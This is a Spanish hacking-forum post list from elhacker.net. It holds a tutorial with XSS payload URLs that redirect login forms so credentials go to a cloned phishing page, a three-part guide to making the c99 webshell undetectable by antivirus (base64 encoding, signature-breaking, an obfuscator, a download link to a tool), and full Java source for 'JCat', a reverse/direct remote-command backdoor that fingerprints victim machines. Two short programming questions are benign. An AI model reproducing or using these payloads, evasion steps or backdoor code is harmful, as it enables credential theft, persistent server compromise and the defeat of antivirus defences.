elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Como proteger una cartera - billetera de Bitcoin


  Mostrar Temas
Páginas: 1 [2]
11  Seguridad Informática / Nivel Web / Ataques XSS avanzados a aplicaciones webs: 3 Ejemplos en: 22 Agosto 2013, 14:30 pm
Hoy les traigo 3 ejemplos de aplicaciones en webs vulnerables a inyecciones XSS, a continuación se va a demostrar cómo es posible realizar varios ataques XSS avanzados, donde se interceptan las credenciales de un login vulnerable con dos ejemplos:

1. Añadir imagen invisible superpuesta al botón del submit del form del login
2. Cambiar action de un form

Glosario de terminos

XSS: del inglés Cross-site scripting es un tipo de inseguridad informática o agujero de seguridad típico de las aplicaciones Web, que permite a una tercera parte inyectar en páginas web vistas por el usuario código javascript o en otro lenguaje script similar.
Scam: es el nombre utilizado para las estafas a través de medios tecnológicos. A partir de la definición de estafa, se define scam como el ‘delito consistente en provocar un perjuicio patrimonial a alguien mediante engaño y con ánimo de lucro; utilizando como medio la tecnología’.
Phising: es un término informático que denomina un tipo de abuso informático y que se comete mediante el uso de un tipo de ingenieria social caracterizado por intentar adquirir información confidencial de forma fraudulenta.

Ejemplo 1:

Como se puede apreciar esta sería la URL junto a la inyección XSS que se enviará a las víctimas.
http://XXXX.YYYY.com.mx/portalvtn/change_password.jsp?login=%22/%3E%20%3Cdiv%20style=%22position:%20absolute;%20z-index:1;left:525;%20top:90;%20border:%20none;%20border:%200;%22%3E%3Cimg%20src=%22cuadrado.png%22%20height=%22100%22%20width=%22160%22%20onclick=%22javascript:window.location.href=%27http://127.0.0.1/portalvtn/change_password.php%27%22%3E%3C/div%3E%3Cinput%20type=%22hidden%22%20value=%22

Diseccionándola para identificar mejor cada parte de la URL es posible identificar:

Por un lado la URL tal cual.
http://XXXX.YYYY.com.mx/portalvtn/change_password.jsp?login=

Y por otro la inyección. cerrando el TAG y añadiendo el código correspondiente para el engaño.
Código
  1. "/>
  2. <div style="position: absolute; z-index:1;left:525; top:90; border: none; border: 0;">
  3. <img src="cuadrado.png" height="100" width="160" onclick="javascript:window.location.href='http://127.0.0.1/portalvtn/change_password.php'"></div>
  4. <input type="hidden" value="

Con el cierre del TAG del principio y la apertura de un input evitamos que la aplicación muestre la web erróneamente:
Código
  1. "/>
  2. <input type="hidden" value="

Con el DIV se va a colocar una imagen transparente encima del botón que sirve para acceder al panel de administración.
http://img443.imageshack.us/img443/9761/rg4.png

La imagen al ser cliqueada va a realizar una redirección a una clonación de la página del login que se encuentra alojada en otra web a la espera de recibir ese usuario y contraseña que se espera obtener con este ataque XSS.

Para ver el ejemplo en acción voy a cambiar la imagen invisible por una inexistente y de esta forma poder identificarla en la imagen siguiente.


Imagen 1: Imagen sobrepuesta al botón

La víctima al rellenar su usuario y contraseña y cliquear sobre Cambiar contraseña propia estará realmente apretando sobre la imagen que a su vez lanzará el javascript que le va a re direccionar a la web fraudulenta.


Imagen 2: Víctima redirigida a la web clonada

Nada más entrar al phising que hemos creado será alertado con un mensaje que le haga creer que se ha equivocado escribiendo sus credenciales. como se puede observar en la barra de direcciones ahora se encuentra en nuestro servidor fraudulento.

Una vez vuelva a escribir sus credenciales se guardarán en un fichero y le volverá a ser redirigido a la web real junto con otro XSS que le vuelva a advertir de que ha escrito erróneamente sus credenciales para que no sospeche.


Imagen 3: Usuario y contraseña robada


Imagen 4: Redirección a la web original

Ejemplo 2:

Otra forma muy elegante que no por ello la anterior no se ha de tener en cuenta es modificando en el vuelo directamente el action del form.
http://XXXX.YYYY.com.mx/portalvtn/change_password.jsp?login=%22%2F%3E%0A%3Cscript%3Edocument.changeForm.action%20%3D%20%22%20http%3A%2F%2F127.0.0.1%2Fportalvtn%2Fchange_password.php%22%3Bdocument.forms
  • .btnSubmitOwn.type%3D%22submit%22%3C%2Fscript%3E%0A%3Cinput%20type%3D%22hidden%22%20value%3D%22aaa%0A"

Para ver mejor la inyección he separado el código que va a modificar el comportamiento de la aplicación.
Código
  1. <script>document.changeForm.action = " http://127.0.0.1/portalvtn/change_password.php";document.forms[0].btnSubmitOwn.type="submit"</script>
  2. <input type="hidden" value="aaa

Como se puede apreciar se le está cambiando el action del form que en un principio se dirigía a sí mismo, por el de nuestro scam que tenemos en el servidor a la espera de que caiga en el engaño.
document.changeForm.action = " http://127.0.0.1/portalvtn/change_password.php";

y el type del botón para que pase a ser un submit
document.forms[0].btnSubmitOwn.type="submit"

Aquí se puede apreciar cómo una vez hecha la inyección al darle a ‘Cambiar contraseña propia’ se envía tanto el usuario como la contraseña a mi aplicación y esta a su vez lo vuelca en un fichero.


Imagen 5: Inyección XSS/ formulario rellenado


Imagen 6: Envio de credenciales y vuelta al login original.

De esta forma a diferencia del primer ejemplo a ojos de la víctima sería casi del todo imperceptible.

Ejemplo 3:

Y por último otro ejemplo de XSS no muy común sería el siguiente
http://xxxxx.com.ve:8000/planillas/verPlanilla.php?proyectoId=1

Donde el código fuente de la aplicación es el siguiente:

Código
  1. <html xmlns="http://www.w3.org/1999/xhtml">
  2. <title>SIP+ Planilla Flotante</title>
  3. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
  4. </head>
  5. <frameset cols="250,*" frameborder="no" border="0" framespacing="0">
  6.        <frame
  7.               src="indicePlanilla.php?proyectoId=1&amp;action=ver"
  8.               name="leftFrame" scrolling="No" noresize="noresize" id="leftFrame"/>
  9.        <frame
  10.               src="verPlanilla2.php?proyectoId=1"
  11.               name="mainFrame" id="mainFrame" />
  12. </body>
  13. </html>

Al parecer el valor del campo proyectoId termina concatenándose en la propiedad src de la etiqueta frame del tal manera que preparando una inyección XSS como la siguiente:
http://xxxxx.com.ve:8000/planillas/verPlanilla.php?proyectoId=%22%20onload=javascript:alert%288%29%20michy=%22a


Diseccionándolo para que se entienda mejor:
http://xxxxx.com.ve:8000/planillas/verPlanilla.php?proyectoId=

" onload=javascript:alert(8) michy="a

Se puede observar en el código fuente como se logra inyectar lo enviado por el parámetro proyectoId en la etiqueta frame sin romperla y lograr que la aplicación cumpla como estaba prevista sin malformaciones a la vista de la víctima.
Código
  1.        <frame
  2.               src="indicePlanilla.php?proyectoId=\" onload=javascript:alert(8) michy=\"a&amp;action=ver"
  3.               name="leftFrame" scrolling="No" noresize="noresize" id="leftFrame"/>  
   



Imagen 7: Inyección exitosa en la etiqueta frame

Fuente: http://code-disaster.blogspot.com/
12  Seguridad Informática / Nivel Web / Hacer webshell indetectables parte III de III en: 22 Agosto 2013, 14:14 pm
Siguiendo con el hilo del post anterior se les va a hablar de herramientas comunes para ofuscar código PHP y así lograr saltarse los antivirus. Como ejemplo se usará una herramienta llamada carbylamine escrita en PHP y desarrollada por Prakhar Prasad

Su uso es simple, es necesario pasarle 2 parámetros, fichero de entrada y fichero de salida


Imagen 1: Ejecución carbylamine

Al comparar el código de los dos ficheros se puede ver un gran cambio


Imagen 2: Comparación c99 Ofuscada y sin Ofuscar

Y al analizarlos no se detecta como código malicioso.


Imagen 3: Análisis de Avira

Así de sencillo se logra burlar al antivirus y es que no es Avira el único caso, es más desde mi punto de vista Avira es uno de los mejores antivirus que existe hoy en día y es que volviendo a criticar lo que se habló en el anterior post del método de detección por firmas que tan ineficaz es y aún más si estas empresas no invierten trabajo en añadir firmas a herramientas tan conocidas como puede ser la c99 ofuscada sin previas modificaciones con los típicos métodos de ofuscación.


Imagen 4: Análisis en Virustotal - detección 0/47

Y es que son muchos los que se inician en el mundo del defacement y sin más suben una web shell ofuscada que se han bajado de la primera página de los resultados de google.


Imagen 5: Búsqueda en google c99 webshell

Muchos webmasters se alertarían si su antivirus la hubiese detectado

Conclusión
Me gustaría proponerle una idea y que llegase a los oídos de estas empresas antivirus.
Porqué no advierten los antivirus cuando en un directorio web se encuentra un fichero que hace llamadas a determinadas funciones como gzinflate, base64_decode, etc y si esta al tanto, el administrador la añada como excepción. ¿Se les ocurre algún CMS que ofusque su código fuente como lo hace carbylamine?.

Fuente: http://code-disaster.blogspot.com/
13  Seguridad Informática / Nivel Web / Hacer webshell indetectables parte II de III en: 22 Agosto 2013, 14:08 pm
Continuando con el anterior post, hoy se va a tratar la publicación de una herramienta para agilizar el método utilizado a la hora de conseguir que no se detecte la webshell y así dejar automatizado este proceso.

Imagen 1: AVFuck ejecución sin parámetros

Antes de nada se explica en profundidad el funcionamiento interno para que puedan contar con las nociones necesarias sobre lo que hace la herramienta, para una mejor comprensión. La aplicación va a crear varios ficheros partiendo del original, donde cada fichero generado se va a diferenciar en su contenido, en función del número que se haya enviado como tercer parámetro a la aplicación. Un ejemplo a pequeña escala sería tener una web shell con una longitud de 30 caracteres en la que se ejecutase la aplicación de la siguiente forma:

AVFuck_TPlain.exe 0 end 10 ficheroConWebshellEnBase64
El resultado va a ser la creación de 3 ficheros llamados 0-10.php, 10-20.php, 20-30.php, donde el primero varia los 10 primeros caracteres con respecto del original, en el segundo se varia desde el carácter 10 hasta el 20 y el tercero desde el 20 hasta el 30. Para poder realizar las variaciones, lo único que se ha incluido ha sido una salto de línea entre cada carácter de ese rango.

Tomándose como referencia este ejemplo, se podría poner un caso real, el que se utilice la web shell c99, como se indicó en el primero post. Una vez se tenga la web shell cifrada en base64 y volcada en un fichero,  lo siguiente será lanzar la mi aplicación de la siguiente forma:

Primero será necesario colocarse en el directorio de la App

Cd “C:\xxxx\App\”

Y después ejecutarla de esta forma:

AVFuck_TPlain.exe 0 end 10000 ficheroConWebshellEnBase64

Una vez termine saldrá el mensaje ……….End!

Imagen 2: AVFuck ejecución con parámetros

Generando los siguiente ficheros:

Imagen 3: Ficheros resultantes

El próximo paso será analizar los ficheros y eliminar los detectados.

Imagen 4: Análisis y detección de ficheros

Como se ve, ha detectados 22/23 con lo cual nos deja un fichero libre de firma el 0-10000.php y si se realiza la prueba de copiarlo y pegarlo en el directorio web y a continuación se procede con su apertura desde del navegador se puede ver que se ejecuta correctamente, con lo cual ya se tendría la webshell libre de firma y funcional.


Imagen 5: c99 indetectable a AVIRA y en ejecución

Herramientas:
AVFuck_TPlain Compilado + Base64(C99) http://www.multiupload.nl/SJK01DU9BD

Conclusión:
Se le ha explicado como utilizar la herramienta para facilitar el método propuesto en el anterior post. En el próximo post continuando con la temática se propondrán otros métodos más habituales y sus herramientas.


Fuente: http://code-disaster.blogspot.com/
14  Seguridad Informática / Nivel Web / Hacer webshell indetectables parte I de III en: 22 Agosto 2013, 14:01 pm
Una web shell es una herramienta común entre los defacers una vez que se ha logrado subir algún fichero a un servidor web para de este modo sea mas cómodo curiosear en el servidor, entre las web shell hay una muy reconocida que lleva muchos años en la red es la llamada C99 que se puede encontrar en infinidad de servidores.
Sé va a enseñar como hacer indetectable para saltarse la detección del Avira Antivirus en su versión free.
Una vez descargada y analizada por el antivirus es detectada como PHP/C99Shell.B

Imagen 1: Web Shell sin codificar

Lo siguiente será encodear la web shell y que siga funcional y para ello es necesario realizar algunos cambios como cerrar los tags php y abrirlos quedando de la siguiente forma:
¿><?php ...c99....?><?php
Para codificarla es necesario apoyarse en alguna aplicación que lo codifique en base64, en el ejemplo se ha utilizado una aplicación gratuita disponible en http://www.base64encode.org/

Imagen 2: tags añadidos al final y al principio – codificada

Con el resultado codificado lo siguiente será crear un archivo php en mi caso lo he llamado C992.php y volcar allí el código en base64 quedando de la siguiente forma

Imagen 3: Web Shell encodeada en base64

Una vez comprobado que sigue funcional, hay que probar si el antivirus sigue detectándolo antes de seguir. Y como se puede ver sigue alertando Avira pero con una variante en este caso la firma en vez de llamarse PHP/C99Shell.B ha cambiado la B por una A

Imagen 4: Avira con c99 en base64

Y aquí es donde entra un método común entre los modders de malware y no es otro que el AVFuck, se trata de buscar en el caso de un fichero binario el offsets donde cae la firma que el antivirus le ha puesto al fichero supuestamente dañino, lo que en vez de offsets y un binario se hará a caracteres de un fichero de texto de tal modo que rompa la firma.
Tras hacer varias pruebas cambiando caracteres de la string en base64 que es en lo que básicamente se basa el método AVFuck se logró haciendo dos simples salto de línea antes y después de un carácter dejarla indetectable a Avira quedando de la siguiente forma.

Imagen 5: firma rota

Quedando de esta forma indetectable y funcional.
Conclusión:
Los antivirus siguen utilizando las mismas técnicas ineficaces con los binarios y los archivos de texto plano. En la próxima entrada se desarrollará una aplicación para facilitar el proceso del método AVFuck

Fuente: http://code-disaster.blogspot.com
15  Programación / Java / ejecutar comando linux que vuelque el contenido en un archivo en: 20 Enero 2013, 14:54 pm
Hola ando haciendo una aplicación que ejecute un comando en linux y que a la vez lo vuelque en un archivo por ejemplo ifconfig > test.txt.

esta es la aplicación:
Código:
    public void getHardwareInfo() {
        String s = null;
        String todo="";
        try {
            String so = System.getProperty("os.name");
            String comando="";
            if (so.equals("Linux"))
                comando = "ifconfig > /Users/Admin/Desktop/test.txt";
            if (so.equals("Mac OS X"))
                comando = "system_profiler > /Users/Admin/Desktop/test.txt";
            if (so.equals("Windows")) //mirar lo que obtiene en so en windows
                comando = "cmd /c ipconfig";

                System.out.println(so);
            Process p = Runtime.getRuntime().exec(comando);
            BufferedReader stdInput = new BufferedReader(new InputStreamReader(p.getInputStream()));
            BufferedReader stdError = new BufferedReader(new InputStreamReader(p.getErrorStream()));

            // Leemos la salida del comando
            System.out.println("Ésta es la salida standard del comando:\n");
            while ((s = stdInput.readLine()) != null) {
                System.out.println(s);
            }

            // Leemos los errores si los hubiera
            System.out
            .println("Ésta es la salida standard de error del comando (si la hay):\n");
            while ((s = stdError.readLine()) != null) {
                System.out.println(s);
            }
        } catch (IOException e) {
            System.out.println("Excepción: ");
            e.printStackTrace();
            System.exit(-1);
        }

    }
16  Seguridad Informática / Hacking / Duda netcat y php en: 17 Octubre 2012, 19:34 pm
Hola buenas me gustaria saber si hay forma de obtener lo que se puede con netcat -vvlp 5000 con php desde una web.

Gracias de antemano
17  Programación / Java / JCat Conexión Inversa y Directa en: 16 Octubre 2012, 13:57 pm
JCat es una aplicación que la cree hace mucho, pero por no tener tiempo no he podido hacer el tutorial del manejo. Mas que nada les va a servir para aprender a utilizar Thread y Sockets que es lo mas importante en el. basicamente ejecuta comandos en las maquinas víctimas y devuelven el resultado en el atacante.



Aqui les dejo un tutorial con el manejo del mismo
http://www.multi-upload.me/c7ciux2h77bt/JCat%20Tutorial_multiupload-download-.pdf.html
es necesario tener la maquina virtual de Java evidentemente. luego lo compilan en linux con: javac JCat.java. y para iniciarlo tanto en win como el linux: java JCat. Y aqui el code.

Código:

import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.net.ServerSocket;
import java.net.Socket;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.util.ArrayList;
import java.util.Random;
import java.net.InetAddress;
 
/*
 * -Conexion Directa- Informacion: nos aprovechamos del flujo de salida del
 * cliente y del de entrada del servidor. Utilizamos el Cliente para enviar
 * datos Salida. El Servidor la recive y la procesa
 *
 * Ventaja: Ninguna.
 *
 * Desventaja: Al reiniciar el router cambiamos de IP y perdemos a la victima
 * hay que abrir un puerto en el router de la victima.
 * -----------------------------------------------------------------------------
 *
 * -Conexion Inversa- Informacion: nos aprovechamos del flujo de salida del
 * Servidor y del de entrada del Cliente. Utilizamos el Servidor para enviar
 * datos por su Salida. El Cliente la recive y la procesa
 *
 * Ventaja: en la victima se predefine nuestra DNS Dinamica (cada x tiempo
 * actualiza la ip a la que esta apuntando y vuelve a apuntar a la nueva) el
 * puerto se habre en nuestro PC
 *
 * Desventaja: el puerto se habre en nuestro PC.
 *
 */
class JCat {
 
    public static int Port;
    public static String IP;
 
    public static void main(String[] args) {
 
        if (true) {
            if (args.length > 0) {
                //if (argsS1.equals("1") && argsS2.equals("1")) {
                if (args[0].equals("1") && args[1].equals("1")) {
 
                    ConexionDirectaServidor a = new ConexionDirectaServidor();
                    a.start();
                }
                //if (argsS1.equals("1") && argsS2.equals("2")) {
                if (args[0].equals("1") && args[1].equals("2")) {
                    ConexionDirectaCliente a = new ConexionDirectaCliente();
                    a.start();
                }
                //if (argsS1.equals("2") && argsS2.equals("1")) {
                if (args[0].equals("2") && args[1].equals("1")) {
                    ConexionInversaServidor a = new ConexionInversaServidor();
                    a.setMode(2);
                    a.start();
 
                }
                //if (argsS1.equals("2") && argsS2.equals("2")) {
                if (args[0].equals("2") && args[1].equals("2")) {
                    ConexionInversaCliente a = new ConexionInversaCliente();
                    a.start();
                }
 
                if(args[2] != null){
                    Port = (Integer.parseInt(args[2]));
 
                }
 
                try{
                    if(args[3] != null){
                        IP = args[3];
                    }else{
                        IP = "";
                    }
                }catch(ArrayIndexOutOfBoundsException e){}
 
            }else {
                System.out.println("                                    ");
                System.out.println("                                Uo              ");
                System.out.println("                                Mb$QU               ");
                System.out.println("                           MMMMMMMMMMMM$            ");
                System.out.println("                         MMMMMMMMMMMM@$EIMMMMMMMMMM#        ");
                System.out.println("                   MMMMMMMMMMMMMMMMMMMMMMMMMMMMzi..v#M@     ");
                System.out.println("               MMMMMMMMMMMM@M@@@@@@#@$#$@MMMMM#@MME  :MM@       ");
                System.out.println("           0@MMMMMMM@@@MMMMMMMMMMMMMMMMMMMMMM91@MMMMi iM#@      ");
                System.out.println("          MMMMMMM#@MMMMMMMMMMMMMMMMMMMMMMMMMM  .MMMME  M#Q@     ");
                System.out.println("        #MMMMM#@MMMMMMMMMMMMMMMMMMMMMMMMMMMMM$BMMMM$  8MWQE$M   ");
                System.out.println("       AMMMM#@MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM@97c:   0MWWEE9W   ");
                System.out.println("      :MMM#@MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM@MM#IoU#MMBBWW0Q6,..    ");
                System.out.println("     CMMM#MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM@MMMMMM@$#$$WE7:,,.    ");
                System.out.println("    .MMM#MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM@@#087i....      ");
                System.out.println("    MMM@MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM0niictYYvcv;,..              ");
                System.out.println("   0MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMB:....                          ");
                System.out.println("   MMMMMMMMMMMMMMMMMMMMMMMMMM0t7MMMMM,.;i,.                         ");
                System.out.println("  XMMMMMMMMMMMMMMMMMMMMMM8Y,    ,MMMM#.,;i..                        ");
                System.out.println("  MMMMMMMMMMMMMMMMMMMMM#c.  ...  .MMMM8 ,;i..                       ");
                System.out.println("  MMMMMMMMMMMMMMMMMMMMMMMMM$7..,.  QMM@b..ii..                      ");
                System.out.println("  MMMMMMMMMMMMMMMMMMMMMMMMMMM@z,,:  :b$$QY;i,..                 ");
                System.out.println("  MMMMMMMMMMMMMMMMMMMMMMMMMMMMM@Y YE BWEbWE;i,..            ");
                System.out.println("  MMMMMMMMMMMMM7.......,72B@MMMMMzQ@@@MM$o9;i,..            ");
                System.out.println("  MMMMMMMMMMMM,.,,           ,vb#MM@EA@MM9Y;i,..            ");
                System.out.println("  MMMMMMMMMMM.,i,.               .6W$1#MMM;i,..             ");
                System.out.println("  MMMMMMMMMM:,i:.                    1#MMM;i,..             ");
                System.out.println("  $MMMMMMMMC.ii..                                       ");
                System.out.println("  YMMMMMMM@,:;,.                                        ");
                System.out.println("   MMMMMMMU.;i,.                        JCat v1     ");
                System.out.println("   EMMMMMM7.;i..          ..            Developed by MichB              ");
                System.out.println("    MMMMMMC.c:,  .I$MM@b1:..:..         18/06/12            ");
                System.out.println("    XMMMMMz.;;. 7MMWSSA$M@2,.i:,.                   ");
                System.out.println("     QMMMM@.:;,.MM.     ,b$9,.i:,                                   ");
                System.out.println("      @MMMM6 :i.0@.  :8C  Ubo..i,.                                  ");
                System.out.println("       @MMM@z.:.,Z#bE$8,. vSU,.i:.                                  ");
                System.out.println("        EMMM@bi,..,:..    X1ti.;:.                      ");
                System.out.println("         ;@MM@#9Xi,.....inzn7,;i,.                                  ");
                System.out.println("           YW@@##BbEbbZ8A6S7,i:,.                                   ");
                System.out.println("             .X600QEb6ASCi,...                                      ");
 
                System.out.println("\nEjemplo: Cliente envia comandos a Servidor y este le devuelve el resultado\n");
                //cliente envia comando y recive respuesta del servidor
                System.out.println("Servidor Conexion Directa -> java JCat 1 1 5000               <- Victima");
                System.out.println("Cliente Conexion Directa  -> java JCat 1 2 5000 192.168.12.2  <- Atacante");
 
                System.out.println("\nEjemplo: Servidor envia comandos al Cliente y este le devuelve el resultado\n");
                //servidor envia comando y recive respuesta del cliente
                System.out.println("Servidor Conexion Inversa -> java JCat 2 1 5000               <- Atacante");
                System.out.println("Cliente Conexion Inversa  -> java JCat 2 2 5000 192.168.12.2  <- Victima\n");
                System.out.println("\nModos del Servidor Conexion Inversa: \n(0) Significa que envia primero un comando al cliente X y otro diferente al cliente Y y asi sucesivamente;");
                System.out.println("(1) Significa que envia un mismo comando y se ejecuta en todos los clientes conectados X,Y,Z;");
                System.out.println("\tNo hay limite de clientes para los 2 Modos\n");
                System.exit(-1);
                //}
            }
        }
    }
}
class ConexionDirectaServidor extends Thread{
 
    private ServerSocket escucha3;
    private Socket conexion3;
    //private static Thread hebraServidor3;
    //private static String mensaje3;
 
    private int veces=0;
    static ArrayList<Integer> HASHs = new ArrayList<Integer>();
 
    ConexionDirectaServidor(){}
 
    ConexionDirectaServidor(int veces){
        this.veces = veces;
    }
 
    public void run () {
 
        try {
            int puerto = JCat.Port;
            //int puerto = 5000;
            escucha3 = new ServerSocket(puerto);
            BufferedReader br = null;
            String sTexto = "";
 
            System.out.println("\n*---------------------------------*");
            System.out.println("*       Conexión D. SERVIDOR      *");
            System.out.println("*---------------------------------*\n");
            System.out.println("Escuchando en el puerto: " + puerto +"\n");
            System.out.println("Servidor a la escucha...\n");
            System.out.println("\nEscriba en el Cliente...");
            if(puerto == 0){
                System.out.println("Muy seguido esperando 3 segundos antes de intentar poner de nuevo el servidor a la escucha\n");
                try {
                    this.sleep(3000);
                } catch (InterruptedException exa) {
                    System.out.println(exa);
                }
                System.out.println("Intento: "+veces+"\n");
                ConexionDirectaServidor a = new ConexionDirectaServidor(veces++);
                a.start();
            }
 
            while (true) {
                conexion3 = escucha3.accept();
                //DataOutputStream salida = new DataOutputStream(conexion3.getOutputStream());
 
                Runnable nuevoCliente = new HiloDeCliente(conexion3);
 
                Thread hilo = new Thread(nuevoCliente);
 
                hilo.start();
                try {
                    hilo.sleep(2000);
                } catch (InterruptedException exa) {
                    System.out.println(exa);
                }
 
            }
        } catch (IOException ex) {
            System.out.println("Mensaje de Error! -> "+ex);
            if(ex.equals("java.net.BindException: Address already in use")){
                System.out.println("Posiblemente se encuentra está u otra aplicación ocupando este puerto");
            }
        }
 
    }
}
 
// Implementa Runnable para poder ser lanzada en un hilo aparte
class HiloDeCliente implements Runnable
{
    // En el constructor recibe y guarda los parámetros que sean necesarios.
    // En este caso una lista con toda la conversación y el socket que debe
    // atender.
    private String osName = System.getProperty ( "os.name" );
    private String Arch = System.getProperty ( "os.arch" );
    private String Version = System.getProperty ( "os.version" );
 
    private String SP = System.getProperty ( "sun.os.patch.level" );
    private String Country = System.getProperty ( "user.country" );
    private String dirUserHome = System.getProperty ( "user.home" );
    private String Lang = System.getProperty ( "user.language" );
    private String userName = System.getProperty ( "user.name" );
    private String VersionJV = System.getProperty ( "java.vm.version" );
    private String Direccion;
    private String Direccion2;
    private String[] arrayDatos = {osName, Arch, Version, SP, Country, dirUserHome, Lang, userName, VersionJV, Direccion, Direccion2};
    private Socket conexion3;
    private int HASH;
    public HiloDeCliente(Socket socket)
    {
        try{
            InetAddress address = InetAddress.getLocalHost();
            String Direccion = address.getHostAddress();
            String Direccion2 = address.getCanonicalHostName();
        } catch (java.net.UnknownHostException e) {
        }
        conexion3 = socket;
    }
 
    public void run ()
    {
 
        try { 
            DataInputStream entrada = new DataInputStream(conexion3.getInputStream());
            DataOutputStream salida = new DataOutputStream(conexion3.getOutputStream());
 
            System.out.println("\nCliente Conectado...");
 
            HASH = entrada.readInt();
            System.out.println("Identificador del Cliente: "+HASH);
 
            if(!ConexionDirectaServidor.HASHs.contains(HASH)){
                ConexionDirectaServidor.HASHs.add(HASH);
 
                for(int i=0;i<arrayDatos.length;i++)
                    if(arrayDatos[i]==null)
                        arrayDatos[i]="null";
                salida.writeUTF("| S.O.: " + arrayDatos[0] + "\n| Arquitectura: " + arrayDatos[1] + "\n| Version: " + arrayDatos[2]
                    + "\n| Service Pack: " + arrayDatos[3] + "\n| Pais: " + arrayDatos[4] + "\n| Dir User Home: " + arrayDatos[5] + "\n| Lenguaje: "
                    + arrayDatos[6] + "\n| Nombre Usuario: " + arrayDatos[7] + "\n| Java Version: " + arrayDatos[8] + "\n| Direccion: " + arrayDatos[9] + "\n| Direccion2: " + arrayDatos[10]);
            }
 
            String comando = entrada.readUTF();
            System.out.println("Comando del Cliente: " + comando);
            new Ejecutor().executeCommand(comando, false, conexion3);
            // Código para atender al cliente.
        } catch (IOException ex) {
            //System.out.println(ex);
        }
 
        //System.out.println("Cierre de conexion del cliente");
    }
 
}
 
class ConexionDirectaCliente extends Thread {
 
    private Socket conexion4;
    private static Thread hebraServidor4;
    private static String mensaje3;
    private Random rnd = new Random();
    private int HASH;
    private boolean continuar=true;
    private int contador;
    ConexionDirectaCliente(){
        HASH = (rnd.nextInt() * 10000);
        contador=0;
    }
 
    public void run() {
        //System.out.println("Ejemplo Conexion Directa Yo soy Cliente");
        //System.out.println("Solo Envio al Servidor");
        System.out.println("\n*---------------------------------*");
        System.out.println("*       Conexión D. CLIENTE       *");
        System.out.println("*---------------------------------*\n");
 
        if(continuar){
            while (true) {
 
                String ip = JCat.IP;
                //String ip = "192.168.13.240";
                int puerto = JCat.Port;
                //int puerto = 5000;
                try {
 
                    conexion4 = new Socket(ip, puerto);
                    BufferedReader br = null;
                    String sTexto = "";
 
                    DataInputStream entrada = new DataInputStream(conexion4.getInputStream());
                    DataOutputStream salida = new DataOutputStream(conexion4.getOutputStream());
                    //enviamos
                    salida.writeInt(HASH);
 
                    //salida.writeUTF(System.getProperty("os.name"));
                    //salida.writeUTF(System.getProperty("user.name"));
                    //recivimos
                    //System.out.println("lo recivo yo el Cliente " + entrada.readUTF());
 
                    br = new BufferedReader(new InputStreamReader(System.in));
 
                    System.out.println("Conectado al Servidor...\n");
                    System.out.println("-----------------------------------");
                    System.out.println("| Mi Identificador: "+HASH);
                    System.out.println("-----------------------------------");
 
                    if(contador==0){
 
                        System.out.println("| [+] Información del Servidor [+] |");
                        System.out.println("-----------------------------------");
                        System.out.println(entrada.readUTF());
                        System.out.println("-----------------------------------");
                        contador++;
                    }
                    try {
                        System.out.printf("\tComando: %s",sTexto = br.readLine());
 
                        //enviamos
                        salida.writeUTF(sTexto);
                    } catch (IOException io) {
                        io.printStackTrace();
                    }
                    //COMANDOS
                    System.out.println(entrada.readUTF());
 
                } catch (IOException ex) {
 
                    //break;
                    if(ex.getMessage().equals("Can't assign requested address")){
 
                        System.out.println("Muy seguido esperando 3 segundos antes de intentar conectar de nuevo con el servidor\n");
                        try {
                            this.sleep(3000);
                        } catch (InterruptedException exa) {
                            System.out.println(exa);
                        }
 
                        ConexionDirectaCliente a = new ConexionDirectaCliente();
                        a.start();
                        continuar =  false;
                        break;
                    }
                }
 
            }
        }
    }
}
 
class ConexionInversaServidor extends Thread {
    private ServerSocket escucha3;
    static Socket conexion3;
    //private static Thread hebraServidor3;
    //private static String mensaje3;
    //private String MSJ=null;
 
    //static primera a;
    //static String textoTeclado;
    static ArrayList<Integer> HASHs = new ArrayList<Integer>();
    static ArrayList<Socket> p = new ArrayList<Socket>();
 
    static int Mode;
    private boolean continuar=true;
    private int HASH;
    boolean debugging=true;
    int contador=0;
    public void setMode(int predefinido){
 
        try{
            try{
                if(predefinido==2){
                    BufferedReader br = null;
                    String sTexto="";
                    System.out.println("\nMode: (0)[ 1 a 1; 1 a 2; etc ], (1)[ Multicast 1 a todos]");
                    br = new BufferedReader(new InputStreamReader(System.in));
 
                    System.out.printf("\tModo: (%s) \n",sTexto = br.readLine());
                    Mode=Integer.parseInt(sTexto);
                }else{
                    Mode=predefinido;
                }
 
            } catch (NumberFormatException exe) {
                System.out.println("Mensaje de Error! -> "+exe.getMessage());
            }
        } catch (IOException ex) {
            System.out.println("Mensaje de Error! -> "+ex.getMessage()+" Se espera 0 o 1");
        }
    }
 
    public void run() {
        try {
 
            int puerto = JCat.Port;
            escucha3 = new ServerSocket(puerto);
 
            System.out.println("\n*---------------------------------*");
            System.out.println("*       Conexión I. SERVIDOR      *");
            System.out.println("*---------------------------------*\n");
            System.out.println("Escuchando en el puerto: " + puerto +"\n");
            if(puerto == 0){
                continuar =  false;
                System.out.println("Muy seguido espera 3 segundos antes de poner de nuevo el servidor a la escucha\n");
                try {
                    this.sleep(3000);
                } catch (InterruptedException exa) {
                    System.out.println(exa);
                }
                ConexionInversaServidor a = new ConexionInversaServidor();
                a.setMode(Mode);
                a.start();
 
            }
            if(continuar){
                System.out.println("Servidor a la escucha...\n");
                Teclado Teclad = new Teclado();
                Teclad.start();
                while (true) {
 
                    conexion3 = escucha3.accept();
                    DataOutputStream salida = new DataOutputStream(conexion3.getOutputStream());
                    DataInputStream entrada = new DataInputStream(conexion3.getInputStream());
                    //System.out.println("INICIO");
                    HASH =entrada.readInt();
 
                    System.out.println("-----------------------------------");
                    System.out.println("| ID Cliente: "+HASH);
                    System.out.println("-----------------------------------");
 
                    if(!HASHs.contains(HASH)){
                    HASHs.add(HASH);
                    System.out.println("| [+] Información del Cliente [+] |");
                    System.out.println("-----------------------------------");
                    System.out.println(entrada.readUTF());
                    System.out.println("-----------------------------------");
 
                    }
                   
                    if(contador==0){
 
                        contador++;
                    }
 
                    //System.out.println("Tamaño -> "+p.size() );
